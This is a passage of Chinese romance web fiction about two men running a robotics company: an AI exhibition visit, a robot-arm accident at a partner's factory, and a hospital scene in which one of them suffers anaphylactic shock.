“谢什么?”边煦偏过头看他。 方笑贻说:“这次能翻盘,都是你提前准备的好,你这几天辛苦了。” 然而边煦只说了句:“这么见外干什么。” 之后从吃饭到回酒店收拾行李,都居然没有“趁火打劫”。 可是以他的性格,应该也不会忘记,方笑贻被他安分到迷惑,忍不住盯了他好几眼。 边煦刚收完剃须刀这些,从洗漱间出来,逮到他的眼神,问了句:“干嘛?看见你偷看我好几下了。” 方笑贻一下乐了,敢做不敢当道:“谁偷看你了?我这叫打量。” “行吧,”边煦说,“你在打量啥?” 方笑贻上下扫视他一眼:“我感觉你今天有点不对劲。” “怎么?”边煦张嘴就来,“我印堂发黑啊?” “少放屁!”方笑贻白了他一眼,才言归正传,“我是说我们翻盘了,你居然都没问我要奖励?” 那是因为他们约定的是中标,不过边煦没跟他掰扯这个,只笑了下说:“我不要,你不是正好得便宜吗?干嘛提醒我?你很希望我要吗?” 方笑贻就知道,问了他会掰扯这些,闻言“呵呵”一笑:“我是怕你后面想起来,要收我利息。” “可以,”边煦赞赏地看了他一眼,“思路不错,我就这么办了。从现在起,每延迟兑现1秒,时间就翻1倍。” 方笑贻说:“鬼在跟你翻倍。” 边煦说:“你不就是那个鬼吗?小气鬼。” 小气他已经说了两遍了,方笑贻忍着笑说:“我是小气鬼,你离我远一点。” “不用,”边煦说,“我不嫌弃小气鬼。” 方笑贻无语道:“……我还轮不到被你嫌弃。” 边煦:“说了不嫌弃。” 两人废了半天话,收好了东西,临出门之前,边煦还是预支了他的奖励。 不是拥抱也不是亲吻,他只是很平常地说:“等产线这个标投完,空闲一点了,你陪我回趟榆临吧?” 方笑贻问他:“回去干嘛?” 边煦说:“回去给我爷爷磕个头,顺便看看,之前每次回去,都像做贼一样。” 方笑贻无法拒绝,盯着他的眼睛,冲他点了下头:“好。” 上了高铁之后,边煦终于空下心思,加了方笑贻推来的刘丞丞的微信。 刘丞丞的id叫[Daniel-Liu],头像是个夜景下的临水高楼,还挺洋腔洋调。 边煦发了申请,对面当时没回应,但五六分钟后,直接来了个视频。 边煦迟疑了一下,没挂,连上耳机接了。 方笑贻听见视频音,看了他一眼,顺便也被边煦往左耳道口塞了只耳机。 紧接着画面一通,脸圆了两圈的刘丞丞出现在了镜头里。 他穿着一件浴袍,站在一个装修得金碧辉煌的地方,表情只维持了一瞬的窥探,接着就目瞪口呆地冲镜头大喊起来。 “我靠我靠!煦子真的是你啊!我刚一看见申请名字,还怕是搞诈骗的在跟我闹呢哈哈哈。” 刘丞丞比高中时胖了不少,模样和打扮也更成熟了,但那个聒噪的气质没变。 边煦被他的笑声传染,也笑了下说:“是我,好久不见了。” “好好好,是你就好,”刘丞丞乐不可支,激动道,“你咋知道我微信号的?我之前用的那个被和谐了,这个后来换的。” “同桌推的。”边煦说着,把手机往左侧了个50°。 靠在椅背上挥手的方笑贻登时进入了镜头,他说:“嗨,老刘。” 刘丞丞咧着嘴角,脸上出现了信息乱码的迹象,他抬起食指,左边右边各指了一下:“我……你、你俩……啥时候凑堆的?我上个月去你公司,也没看见煦子啊?” 方笑贻说:“因为他是上个星期才冒出来的。” “上个星期冒出来的,现在才找我,”刘丞丞苦着脸说,“我也太不值钱了吧?” 方笑贻刚想解释,是因为投标太忙。 边煦人在镜头外,但声音插进来说:“还要多值钱?除了方笑贻,我第一个找的就是你。” 刘丞丞闻言立刻又高兴了,他可不会跟方笑贻比。 这两人的关系,他老早之前就知道了。只是没想到这么多年过去了,他俩兜兜转转竟还在一块儿,这种感情说实话,挺难得的。 不过看他俩在高铁上,虽然戴着耳机,毕竟也是公开场合,刘丞丞就没提他俩的事,只跟他们聊了些闲话,问边煦这些年干嘛去了?现在又在忙啥? 东拉西扯的,聊到边煦还做过稳定币算法,刘丞丞不由五体投地:“哥你也太六边形了,从学校6到社会里,稳定币这么新的东西,你也会干?” “不至于,”边煦说,“它不新,只是在国内新。” 因为国内禁加密货币,而稳定币诞生已经十几年了。 “是新,新的要死,”刘丞丞抱怨道,“一做问题一大堆,正好我最近烦死了,你俩等着,我不日就去杭市跟你们小聚。” 说完屏幕外头有人喊他“刘总”,刘丞丞说是客户,很快挂了。 方笑贻伸手去取耳机,并在刘丞丞背后说坏话:“你信不信,他来找你,肯定是想要你帮他擦屁股。” 边煦却把他的手拉下来,又把耳机给他正了正,然后边说,便点开了手机上的网易云。 “要是我办得到,那也挺好,接触点新行业的人事物也不是坏事。” 方笑贻点了下头:“也是。” 人还是要保持一点时代嗅觉,边煦在这方面做的比他好。 话音未落,一阵轻快的小提琴声传入耳膜,是边煦准备拉给他听,最后还没练好,就分开的那首曲子。 《生命万岁》—— * 回到家,方笑贻睡了个偏晚的午觉,晚饭又是跟边煦一起吃的,因为都是现成的。 他们出差这两天,边煦叫席子帮忙找了个周末做饭的阿姨,今晚对方来试工。 这么热的天,吃够了的外卖加上抬脚就到的距离,方笑贻找不到不去的理由。 他过去的时候,阿姨已经收拾完走了,但那个菜明显抓住了他的胃,是一盆家庭版的钵钵鸡,油层很薄,飘着芝麻粒和青红线椒圈,配拔过凉水的绿豆粥。 这俩都清爽,方笑贻喝了两碗粥,菜估计捞了半盆,吃完直接晕碳了。不过他晕着也还是有点道德,自觉端着盆子去把碗洗了。 边煦也没拦他,靠在墙边跟他说话。 方笑贻把碗涮干净,摞在擦过的料理台上:“你明天休息吧,不用去公司了。” 边煦见状,人忽然过来,在他背上贴了一下,取了水池后面墙上的干抹布,站到他旁边,边擦碗边说:“好,你呢?” 方笑贻悄悄拿余光瞥了他一眼,感觉在这个画面里,他俩真挺像两口子。 这念头让他心生向往,有点想笑,又忍住了,但语气不自觉还是比方才轻快:“我跟你错开休,明天你跟刘桥休,后天我跟张侃休。” 一般都是这么排的,技术错开,边煦没意见,说行。等方笑贻洗完,又拉着他去了趟菜市场,买水果。 赶上昨夜下过大雨,傍晚天蓝云白,方笑贻跟着他,混在饭后散步的人群里,心里有种无所事事的惬意感。 第二天周一,边煦调休,去养老社区看盛芝兰了。 头发花白之后,她干脆全染白了,烫成大卷,穿一身浅绿中式套装配银色芭蕾舞鞋,一早就在社区的绿道上遛弯。 她老人家慧眼如炬,一看他是独自来的,立刻一点面子也没给他留,挑破道:“怎么,你的那个,还没拿下呢?” 边煦搀着她,也不怕丢人:“没呢。” 盛芝兰也是无语凝噎,她这辈子虽然家境起落,但爱情的苦却是一点没吃过,往那儿一站,不缺人来爱她,哪儿像她这个孙子?都长成这样了,能力也不赖,还要倒贴。 别人还不要?盛芝兰想想都要呕死了。 边煦还火上浇油:“你这什么表情?这结果不应该正中你的下怀吗?” 下怀个鬼,盛芝兰嗔怒地打了他小臂一下:“我的下怀是情况反过来,而不是这样。” 这方面边煦很早就不再给她希望了,话直接说死:“那怕是够呛了。” 盛芝兰气不过,又说教他:“我跟你说,你就是姿态太低了,上赶着,人家才不把你当回事。” 边煦捧她:“那依盛大师高见,我该怎么办呢?” 盛芝兰说:“你就晾着他好了,再找个对你有意……” 边煦打断了她:“行,晾他一天。” 盛芝兰:“……” 他太没出息,她不想管他了。但他长得又不错,挺遭这里头有点小钱的老头老太太的关注,一会儿来一个问他谈朋友没有的。 边煦眼都不眨,说谈了,对象开公司的,个子挺高的,人也挺好看的。 盛芝兰因为也不喜欢有些老太,公然也没拆台,只回了房间才吐槽他:“你吹得我都要信了。” 边煦劝她:“迟早都是这样,早信早安心。” 盛芝兰嘴上叫他一边儿去,又一天到晚喊他小名。 边煦在社区扎实地陪了她一天,盛芝兰外柔内刚,从不在人前叫苦。 但趁她午睡了,医生私下跟边煦说,她左边的小腿外侧,有点臁疮腿的征兆,叫他多关心陪伴她,有条件尽早做手术。 边煦在楼外的木椅上搜了下这个臁疮腿,心里忽然就有点堵。 在盛芝兰这个年龄段,它其实还算小病,只是它强势地提醒着边煦,她老了,陪着他的时间成了倒计时。 于是他悲怆地坐了会儿,又给方笑贻发了条消息:[给我打个电话] 方笑贻把微信挂在电脑上,电话几乎是立刻就过来了。 边煦听见他在那边说:“喂?边煦。” 边煦一下没吭声,等了2秒,又听见他分别问了两句。 “怎么了?” “你说句话。” 那个问话的频率是紧的,但语气维持住了,很轻柔,令人有种被小心对待的错觉。 边煦心里感受到抚慰,这才“嗯”了一声,缓过情绪,给他说了这件事。 但他半生亲缘淡薄,盛芝兰的重要性,方笑贻再懂不过,赶紧一边拿备用手机搜病情,一边又絮絮叨叨地给他说:“我们本地三甲的皮肤科挺好的,我这边找得到人挂号,你要挂的话,今天来不及了,我给你挂个明天的号?” 社区这边,其实有陪诊,但边煦想要方笑贻哄他,就说:“明天我上班呢。” 方笑贻:“你加了2天班,继续调休呗。” 边煦说:“我还没上岗就天天调休,同事要闹了。” 可他哪有那么在乎同事?方笑贻微妙地顿了一瞬:“你是真的不正常?还是装的?” 边煦终于笑了一声:“装的,但难受是真的,有一点。” 方笑贻放软语气:“我知道,你今天晚上要待在那边吗?” 边煦问他:“公司忙吗?” 方笑贻说:“还行,暂时没有非要你出马不可的事。” 边煦这才打定主意:“那行,我明天早上再休半天,陪她去医院看看,你帮我挂个号。” 方笑贻说好,又问他那社区是什么样、多少钱一年、伙食怎么样? 聊到边煦都服了,直接把他戳破了:“行了,别没话找话了,去忙吧。” 方笑贻这才想起正事来,今天行政在给边煦布置办公室,便问他:“对了,你的主机有什么要求没有?目前这台就是张侃他们那个配置,我不知道你够不够用。” 边煦没细看过他们的参数:“我一会叫张侃把配置给我,我看看。” 方笑贻一想给他找点事干也行,答应完才挂了电话。 翌日,长胜发来了关于上次投标封闭,以及下次重启的正式公告。 封闭原因都归在了个别身上:其对投标文件含义不明确的内容,未要求投标人澄清,便直接否决投标的行为,系评委评审错误。绝口没提磐夕。 张侃忿忿不平了半天,快11点时候,边煦回了公司。 方笑贻在等他来接班,但其实也没什么好等的。 盛芝兰的情况,他俩一早消息不断,已经交完底了。她那就是长期病了,静脉曲张导致的病变,即便做了微创,复发的概率也大。不过手术还是要做。 方笑贻只是想看看他。 边煦回到公司,看见他还在,脸上确实也有意外之喜那种笑意:“你今天没休息吗?” 方笑贻嘴硬:“早上有点事,下午休。”说着给了他一份劳动合同。 边煦接到手一看,登时乐了,看着他说:“对我这么大方?” 大方倒算不上,只是他这个岗位的正常薪资。唯一的优待只是没在特聘上做文章,只按事假扣钱。 方笑贻睁眼瞎扯:“嗯,怕给得太低了,税务说我逃税。” 边煦简直是佩服:“你的理由可真多。” 方笑贻问他:“你就说合不合理吧?” 边煦笑了一声:“合理,钱在哪里爱就在哪……” 方笑贻赶紧瞥了眼门口,打断了他:“闭嘴吧你。” 然后他俩交了个班,方笑贻说:“公司你看着点,我回我妈那儿去一趟。” 边煦说行,又来了一句:“我下次休息再去拜访阿姨。” 方笑贻嘴上说:“我妈都不认识你了,你去拜访个啥?” 但人回了家,又心口不一,隔三差五地跟他发消息、打电话。 虽然都是些基于公司的杂事,比如关节电机装配厂的手臂协作延迟的问题?去年招的应届生,今年补贴到期,他们该何去何从的问题?以及这个触觉传感器,价格总是打不下来…… 诸如这些,边煦在,他本身就能给出一种答案。方笑贻跟他商量起来,也没什么顾虑,于是一会儿对着手机笑,一会儿又说“烦死了”。 那个腔调,虽然谈的是公事,但俨然不是在员工面前的姿态。 王玉华狐疑地观察了他至少3回,才出声问他:“你在跟谁打电话?” 方笑贻看她一眼:“同事。” “不止吧?”王玉华一脸揶揄的表情。 有席子在,边煦回来瞒不了太久的,方笑贻抓住最后的机会,吊了下她的胃口:“你猜?” * 隔天,两人终于按点同时来上班了,晚上,方笑贻又正式给边煦办了个迎新会。 他们公司酒文化不严重,张侃又护得紧,边煦喝得其实不多,脑子清醒得很。不过等回到小区的绿化小径上,左右没人,光影又昏暗,他还是借酒装疯地耍赖,扒在方笑贻背上说头晕。 “少来,”方笑贻掰着他扣在自己颈下的手说,“你根本没喝多少。” “喝到假酒了。”边煦把脸埋在他颈窝里笑。 温热的鼻息喷在颈侧,有种细小电流钻入皮肤的错觉。 方笑贻把他撕不下去,歪了下肩膀,想躲开那种种酥痒,嘴上又气笑道:“我看你是个假人还差不多。” “不假,是真的。”边煦把他搂紧了些,说完又忽然在他左边锁骨上咬了一口。 那一下倒是不痛,但这些小动作太耳鬓厮磨,亲密得叫人心惊肉跳。 方笑贻一个激灵,没过脑子就说:“疯了你!这是外面。” 边煦细碎地笑起来说:“那回家去吧。” 方笑贻也喝了酒,被他拱得有点热,但又醉得不够深,缓了几秒把他撕下来了。 产线这边的标书,还是他们4个在优化。 但在臂的标段上,慧灵却是实实在在地落选了,中标的单位是千夕科技。 这个公司比慧灵新,背后的资本大有来头,而且公司在外地,平台也封闭,方笑贻这边此前交道打得不多。 但这回人家都预定中标了,他们只能紧急出差,约着去千夕做一次客访,了解一下协作单位。 方笑贻本来是得去的,但杭市国资的领导电话一来,又把他给绊住了。 今年的WAIC(人工只能大会)开展在即,他们作为展览商之一,国资领导点名要方笑贻亲自去,接待上次来参观过的迪拜老板,时间正好跟客访撞了。 不得已,边煦只能带着张侃去做交流。 第79章 7月26号,WAIC在沪世博中心拉开了序幕。 有刘桥盯着,方笑贻不用管布展,不过他来得也挺早,8点出头就在场馆间晃荡了。 这会儿还没对游客开放,他跟老何从展商出入的北门进来,馆里有些商家的设备还没上完,不过物料早已提前备好,在前台上任取。 两人逛了2个主馆,又到开幕式的银厅外头拿了份会议日程资料,看完的感受是这个展会,其实更应该让边煦跟张侃来。 因为会议主题和展品,都旗帜鲜明地集中在两个东西上:算力和大模型。 于是到了开幕式会议的银厅外头,方笑贻把会议表和官方的视频号发给了边煦。 [方笑贻]:会议有直播 [方笑贻]:你要是没工夫看,又有想听的演讲,跟我说 [方笑贻]:我叫小郑去给你要录屏 对面,边煦人还在酒店。 并且好巧不巧,张侃正躺在他房间的沙发上,对着手机上的WAIC帖子拍大腿。 “为什么?!为什么大佬的talk全部都排在第一天啊!”张侃扼腕,“这里头有两个,是我超级超级想合影的诶。” 边煦倒是没这种爱好,因而还能沉下心,在电脑上研究千夕家的柔性产线资料。 他俩是昨晚来的京市,约的今早十点,去千夕交流和参观。 “哪两个?”他前脚问完,后脚电子手表就亮了一下。 这提醒原本就只针对方笑贻跟盛芝兰,边煦瞥见就拿起了手机,看完在他发来的图片上打了2个圈。 电子云高质量数据集与应用创新发展+埃哲森人工智能重塑。 圈完又回给方笑贻了。 期间,张侃说:“罗素跟辛顿教授啊。” 边煦敷衍地“哦”了一声,看见方笑贻回来一个ok,又打了个电话过去问他。 “你怎么这么早就过去了?” 方笑贻那边有点嘈杂,他道:“陈书记说,外商这次带了硅谷的工程师来,怕人家挑我们的刺,叫我们准备做足一些。” 陈书记就是国资委负责招商引资的领导,而工程师自然是挑专业上的刺,其他方向都好说,唯独算法这块。 边煦在出差,而熊彬已经离岗了,公司剩下的都是小虾米,稳妥起见,边煦还是给他想了个办法。 “要是不方便打电话,你就找胡剑,”边煦说,“他去展会了,我一会儿跟他说。” 大事当前,方笑贻也顾不上他把别人家副总当砖搬的行为,利落地答应了。 边煦还不想挂,又问了下展会怎么样? “还没开展,但人应该少不了,一堆人跑来问老刘要票,”方笑贻一副匪夷所思的语气,“居然都没票。” “这么火爆?”边煦也是没想到。 “嗯,”方笑贻说,“莫名其妙,明明去年都没啥人。” 边煦笑了下:“火爆咱们才有生意,主要是deepseek功不可没,它家来了吗?” 方笑贻说:“没有,它家现在被骂得紧,说不好用。” 边煦客观道:“免费的,能到这个程度已经可以了。” 方笑贻说我知道,又提起了企鹅厂本次亮相的智能人形机:小T。 “我看介绍说,它搭载了一个很牛的模型,现在是真正的自主决策机器人,赶上它刚开机,我就去试了下。” 现在的ai,在海量的数据投喂之后,在对话上已经挺有“人味”了。 边煦问他:“你干啥了?” 方笑贻说:“我问了它几个问题,又叫它给我倒了杯咖啡。” 边煦:“它表现怎么样?” 方笑贻:“还行,视觉、语言、动作都没啥问题,算是融合得可以的了,还会抖机灵。” 边煦问怎么抖的,方笑贻乐道:“我叫它陪我去场馆里逛逛,它说不了下次吧,它还要加班。” 边煦沉默一秒:“牛马编出来的机器人都是牛马味。” 方笑贻不知道为什么,觉得他那点沉默特别好笑,神经发作地笑了半天,笑完又催他:“你是不是还没参加过国内的智能大会?交流完赶紧过来吧,我在这边等你。” 边煦说“好”,叫他去忙了。 * 到了9点,方笑贻跟老何就去了举办开幕仪式的银厅。 这边是高级会议场,遍地都是老板和学者,方笑贻寒暄来寒暄去,竟然还碰到了千夕的CEO路雅君,他竟还是由慧灵的老板王需林引荐来的。 王需林虽然竞标输了,但年长他们一辈,为人很有气度,挺热心地给他俩牵了线。 路雅君年长方笑贻几年,脸和身板都瘦长,面相上有点儒雅气。 方笑贻跟他握了手,互道了久仰。 王需林又张望道:“嗯?怎么没看见边煦?我听胡剑说,他到你这儿来了。” “嗯,”方笑贻冲他比了个大拇指,“王总消息真是灵通。” 说完又看向路雅君:“也不知道是该说巧还是不巧,他去路总的公司做技术交流了。” 路雅君微微一笑:“那我倒是不知道,我这个星期一直在外头跑,怠慢了。” 方笑贻客气道:“哪里的话,是我们这边打扰了。” “别这么说,想跟你们合作很久了。” 人这么会说话,印象自然不差,方笑贻很快跟他加了微信。 路雅君居然还有点八卦,问他手标段的封闭是咋回事? 方笑贻又不是作弊的,自然如实相告,只是没怎么洗涮李至宸,一语带过了。 可大家都是投标老手,一听到猫腻就猜到套路了。 路雅君同情地拍了下方笑贻的肩膀,又站了会儿,跟他互相聊了下产品和协作机制。 然后方笑贻跟他提起,千夕那套全流程的柔性制造自动化产线。 这是他家中标最大的创新和亮点,边煦这次就是专门为着去看它,才去出的差。 路雅君对自家这套专利也很自豪,提起它来眉开眼笑的。 方笑贻一问良品率,竟然能达到92%,也难怪他笑成这样。 只是等他走后,王需林偷偷给方笑贻留了几句小话。 “他这个人吧,其实还不错的,他们公司的技术呢,在国内也是绝对的先进,”王需林小声说,“就是他在项目上,喜欢留一手,他是学术出身,你懂的。” 方笑贻点了下头,立刻明白这个92%,在脱离了“实验环境”之后,应该是要打个折的。 不过协作的困难还在中标之后,方笑贻眼下的重点,还是做好展会和接待。他跟王需林知会了一声,说:“边煦不在,外商又带了踢馆的,看情况,我可能需要问您借一下胡总。” 王需林目光长远,云枢有单子,对他们也是机会,闻言二话不说:“没问题,我这就跟他说。” 方笑贻谢过他,没几分钟,陈书记带着外商来了。 之后这半天,他就没工夫看手机了,因为这位中东老板拉希木,带了个刁钻的印度程序员来,叫沙哈。 听完开幕式,一到云枢的展台,这个沙哈跟着领导转了一圈,就开始面露鄙夷了。 众人见他用英语说:“说实话,你们这些机器人的能力,我感觉还是去年的那些,包水饺、缝衣服、拧螺丝……我没见到有什么新的突破。” 这个水平,方笑贻还是听得懂,自己给他答了。 “沙哈先生,去年展示的场景不是这些,是叠衣服、收集积木、转魔方等,它们的复杂跟流畅度,跟今年的区别,可以看平板里头的往年VCR来做对比。” 中东老板一看,还真是学着拿筷子的小孩,跟一般工人的区别,还说了句:“mumtaz,mumtaz。” 陈书记那边有翻译员,方笑贻这边,也带了个会阿拉伯语的产品,两人都说,是“很棒”的意思。 陈书记听了高兴,吆喝大家继续看。 沙哈又做探讨状,问了几个技术问题,老何跟那俩翻译一起,也应付过去了,直到他问到算法上。 “你们看过那篇论文,CoT Is Not Explainability(思维链,大骗局)吗?” 方笑贻跟老何都没看过,赶紧打电话叫来胡剑,说是公司的胡工,才把他辩老实了。 这一上午净忙着掰头,中午宴请完,下午又陪着去逛展。 逛展倒是轻松些,因为有了对比。 比如一个小手类的厂家做的咖啡机器人,一开始,咖啡囊只抓了2秒,就掉了,但它没纠错,无实物表演完了全程。还有很多,展示都还是他们前几年玩的,打麻将那些。 倒是反衬出他们家技术的先进了。 中间路过千夕的展区,因为它是外地公司,陈书记扶持的意愿不强。但路雅君长袖善舞,通过跟方笑贻搭讪,还是把老板引到了自家展台。 好在光看现场的展品,它家跟慧灵区别倒是不大。 就这么东转西转,一下午飞驰而过,等到坐车去吃晚饭,方笑贻才得空看手机。 下午4点12,边煦给他发过消息。 [边煦]:交流完了,现在去去看产线 [边煦]:看完就可以换地方了 方笑贻赶紧回了。 [牛啊这个效率] [我才看见消息,你们看完了吗] 边煦当时没回,方笑贻以为他还在忙,就没当回事。只是到了餐厅,他还没进大门,兜里的手机就震了起来。 是个京市的陌生号码。 方笑贻熄了屏,没接,但它立刻又打了过来。 这种一般就是有事了,方笑贻接了,往耳朵上一贴,就听见一个有点耳熟的男声在对面欲言又止地说:“方总,那个、你的员工,在我们工厂遇到了一点……” 他话没说完,方笑贻心脏先不详地狂跳了起来。 * “意外——” 这字眼跟那阵心惊肉跳一共振,方笑贻才悚然回过神来,认出了这声音是谁的。 是路雅君。 可他远在千里之外,工厂里面出了意外,为什么来传达的人会是他?边煦跟张侃,为什么不给自己打电话? 一阵不安卷上心头,方笑贻不自觉磕巴了一下:“什么意外?员工又是哪、哪个?” 对面,路雅君闻言,却沉默了一瞬。 也就一秒,但足够方笑贻吓到自己了。 机器人伤人的事件还是有的,只是因为这种超级工厂的人少,所以传播度不广。但如果不要紧,路雅君何必这样语焉不详…… 方笑贻心下焦灼,但还是耐着性子镇定住了,催道:“喂路总?说话。” 他这一声有点大,人也不走了,前头的陈书记一行和右边的刘桥全都来看他了。 陈书记看他表情不对,还问了句:“笑贻呀,怎么啦?” 但是方笑贻没听见,因为路雅君在那边说,边煦跟张侃下午去参观的时候,产线上有一条柔性臂夹突发标定故障,把站在主机箱旁边的张侃,当成目标给夹住了。 能夹住人的机械臂,那可不是开玩笑的。 方笑贻头皮一麻,但又诡异而阴暗的,零星感觉到了一丝侥幸。 不是边煦—— 那他为什么没消息?还有张侃,张侃怎么样了? 事已至此,路雅君无意让事态更复杂,老实交代了。 “张工被抓夹挤压到了胸口,他说胸口痛,现在正在去医院的120上。至于边总,他没什么事,跟车去医院了,但他手机坏了,你要是想联系他,就先打张工或者我们公司杨工的电话。” 方笑贻心里疑问不少:张侃怎么会被夹到?伤得严重吗?边煦的手机又怎么坏了…… 但在看到人、听到声音之前,这些都是次要的。 他让路雅君报了电话,对面又说了些负责任的话,还想请他保密。 方笑贻明白他的出发点,时值展会,正是AI公司最有流量的节点,他绝对不想因为事故出圈。 但方笑贻没心思管他,敷衍两句挂了电话,叫刘桥去招待客人。 刘桥说好,又问他:“咋了啊?是咱工厂出什么事了吗?” “不是。”方笑贻说是张侃他俩,张侃伤了,边煦还好,具体未知。 刘桥大吃一惊,也挺担心,又说:“行,那你问吧,只是陈书记问起,我咋个说?” 方笑贻沉吟一瞬:“你找机会单独跟陈书记说实话,对客人,你就说……我家里人被车撞了下。” 刘桥苦了下脸,觉得不太吉利,但也明白,他是怕那个三哥又借题发挥到产业上去,点着头走了。 方笑贻立刻又给张侃打,响了6声,对面才接,方笑贻小心翼翼地说:“喂?” 对面传来一句:“你是在哪儿做贼吗?” 那声音有点哑,但俨然是方笑贻在等的,他绷着的神经才一瞬间松懈下来,关心道:“你没事吧?” 这边,边煦人在救护车上,说实话,自己都还有些心有余悸。 但他还是跟方笑贻说:“我没事,张侃有,但他精神还可以,我一会儿给你录个他的视频。” 方笑贻刚要说:别一会儿了,就现在吧,我换视频跟你说。 一道女声就在对面说:“别录了,我现在有空,来,再给你洗一遍眼睛。” 方笑贻才又警惕起来:“你眼睛怎么了?” 眼见着护士端着盘子转过来了,边煦小声说:“被蒸汽糊了下,待会儿说,别挂。” 方笑贻应了一声,闭嘴了,脑子里却在想:千夕那不是现代化无尘工厂吗?哪儿来的蒸汽? 边煦闭着眼睛又被护士掰开,正在冲生理盐水,也无暇跟他解释。 方笑贻等了五六分钟,期间听见护士问他:眼睛还灼热吗?有没有吸入那种蒸汽?还有没有哪里不舒服……还有张侃痛呼的呻.吟。 这些动静和着鸣笛,让方笑贻心里低落又难受。 他闷了五六分钟,边煦才又吭声,方笑贻才得空问他:“什么蒸汽?怎么回事?” 边煦说:“千夕产线的杨工说,应该是镍盐蒸汽。” 方笑贻大学是学机械的,自己也焊接过不少主板,知道这是电镀过程里产生的有毒气体之一。 但好在镍本身没什么毒,一般的镍盐毒性也比较低,比什么酸雾碱雾、氢氰酸要安全很多。 不过方笑贻还是叮嘱他:“你到了医院,还是要跟医生说,你可能吸入了有毒气体,叫他给你开检查。” 边煦感觉其实还好,但为了让他安心,还是答应了。 方笑贻又问张侃的状况,边煦把手机拿到张侃右耳旁边,叫他跟方笑贻说了两句。 张侃哼哼唧唧的:“卧槽、诶唷嘶!那个爪子把我提起来,‘邦’一下摁到传送带上的时候,我真的以为我会被捏爆。” 方笑贻一边想缝住他那张破嘴,一边又希望他多说点,这样才像他,遂问他:“那你是怎么下来的?” “感谢煦总,”张侃说,“跟着我差点一起被抡到履带上,也没放开我,拿手机狂砸那个视觉相机,它碎了,臂才停住。” 到这儿意外的大概情况,方笑贻心里有个谱了,包括边煦的眼睛,估计也是臂抓着张侃往履带上转的时候,他所处的位置,离电镀操作台有点近了。 两人又聊起故障原因,边煦说的跟路雅君差不多,也是机械臂标定错误。 可方笑贻疑惑的就是这个:“你们不是知道吗?不能进入机械的臂展半径的,怎么还会被抓夹抓住?张侃是站到臂展里去了吗?” “他没有,”边煦说,“千夕在线上也装了风险警示仪的。” 方笑贻更想不通了:“那怎么还会?” 边煦说:“因为他们刚刚上了一套新技术,给自适应机器人搭配了AMR。” AMR展开叫Aim My Robot,是海外芯片巨头在导航上的新突破,传说是厘米级的导航,跟复杂工业产线绝配。 配上了这个技术,机器人就能“自主”形成移动单元。 但这个技术还没开源,方笑贻不知道千夕是怎么拿到的,但却懂了张侃被抓的原因。 可别人的产线,别人试行了这么久,都没谁被抓,他们一去就碰上了? 方笑贻说:“是我们比较倒霉吗?” 边煦安慰道:“不全是,也有点人为的原因。” 方笑贻缺信息,没听懂:“什么意思?” 边煦说:“当时那个被错标的主机箱,最开始,离产线上另一个工作人员最近,是他忽然踹了那机箱一脚,它才到张侃脚边去的。” 方笑贻:“……” 不过归根结底,危害性的根子还是在这套产线和技术上。 摸完情况,方笑贻又絮叨了几句,叫他检查完给自己打电话,就回宴会厅去自罚三杯了。 因为有那个沙哈在,这顿饭吃得又臭又长,方笑贻跑了3趟厕所,去跟边煦发消息。 张侃的手机暂时被征用了,边煦基本有个进度,都会通知他一下。 方笑贻叫他去吃饭,又抱怨那阿三是杠精,直到饭局结束的前10分钟,边煦都还有消息来,说他困了,眯一会儿。 方笑贻回了个ok,也打车回了酒店。 等洗漱完出来,他又睡不着,可能是下午受了惊,那层余悸还在似的,令他心里没着没落的,就很想给边煦打电话。 只是他还没打过去,张侃的电话先来了。 方笑贻还以为是边煦,结果说话的却是张侃,他焦急地说:“老板,煦总怎么感觉不对劲啊?” 方笑贻今天实在被这类电话整怕了:“哪里不对劲?” “他呼吸有点急,但又叫不醒。” 方笑贻心口剧烈地一缩,有种鞭长莫及的强烈挫败感,但与此同时,一个熟悉的念头又福至心灵。 他喊道:“赶紧叫医生!别耽误,他可能是过敏了,记得跟医生说,他有胆碱荨麻疹,下午又碰过镍盐,快去!” 第80章 这一天过得是惊心动魄。 张侃本来以为,自己大难不死,也该有点后福了,可谁知道后面只有更大的惊吓。 边煦比他离谱多了,就那么静静地睡了下,人就进了抢救室。 事实证明,边煦确实过敏了,并且这次症状异常,风团没发在体外,发在了内脏里,导致过敏性地休克了。 这要不是人本来就在医院,喊来的医生又果断,一看他已然气促,什么检查也没等,先给他上了氧气,腿上推了针肾上腺素,又兵荒马乱地转进急诊。否则耽误两下,人会怎么样,真的很难说。 但即便是打完了吸收最快的激素,边煦的血压一下还是没拉起来,在69/54盘桓了片刻。 这个低压仍在休克区,会令人无力,并陷入强烈的濒死恐惧。 边煦就在那种病理性地恐惧里醒了片刻,然后透过视频,跟方笑贻说了些胡话,说完人又昏厥了。 只剩下视频对面的那个,心慌得人都快疯掉了。 * 张侃说边煦喊不醒的时候,方笑贻心里就很不详了。 他马上给张侃打了个视频,隔着镜头,边煦躺在全白的陪护床上,脸色也白,有种不吉利的冷意。 方笑贻头皮瞬间就麻了半边,边煦以前经常发荨麻疹的,但没有一次是这样的。 他叫张侃把手机搁在边煦耳边,自己拼命喊他,但是边煦毫无反应。很快,镜头里又冲来一堆医护。 方笑贻一数竟有5个,急匆匆地把边煦转了床往外送,那阵仗又把方笑贻吓得心口绞痛。 要是边煦……这念头瞬间炸出他一身冷汗,方笑贻哆嗦着打开携程,想买机票。 但他的手又滑又抖,点“机票”抖到“酒店”,脑筋也不在线,乘机人都填好了,才发现自己机场选错了。 这根本不是能办事的状态,于是他暂时挂了视频,打给了谭小萱,叫她给自己买机票,要最快能到京的那班,再给他约个接机到市二医院的车。 谭小萱听他声音都变调了,问他:“怎么了方总?是出什么事了吗?” 方笑贻听不得这个字眼,飞快地说了一句:“赶紧给我买票订车。” 说完火烧屁股地挂了电话。 挂完,他在房里转了两圈,感觉有很多事该交代,但又一件都想不起来,最后抓着钱包冲出门,才终于想起一件:他没换鞋。 他只好又回去换鞋,只是还没下楼,张侃的视频又来了。 对面居然是边煦,他醒了,眼睛只睁了一半,脸上惨白但嘴唇殷红,看着极不对劲。 但毕竟是醒了,方笑贻还没高兴起来,边煦又给了他一个重击。 他一喘三停地说:“笑贻,我、我跟你说……点事。” 方笑贻望眼欲穿道:“好,你说,我听着呢。” 然后,边煦给他说了自己的银行卡密码。 “还是、嗬……上学时用的那个,你还记得吗?” 方笑贻声音发颤道:“你在说什么啊?说这干嘛?你怎么样?别吓我。” “没事哈,没事。”边煦嘴里这么念着,却又说他的钱在工行里,外头还有3笔应收款。还有他奶奶…… 那话听起来像在交代后事。 方笑贻魂飞魄散地说:“别、别说了边煦,医生!张侃!快叫医生看看他。” 边煦又不,还奋力睁了下眼睛,语序混乱道:“笑贻,我、我爱你,但我又没……没好好地陪过你,对不起你,不、不要怪我。” 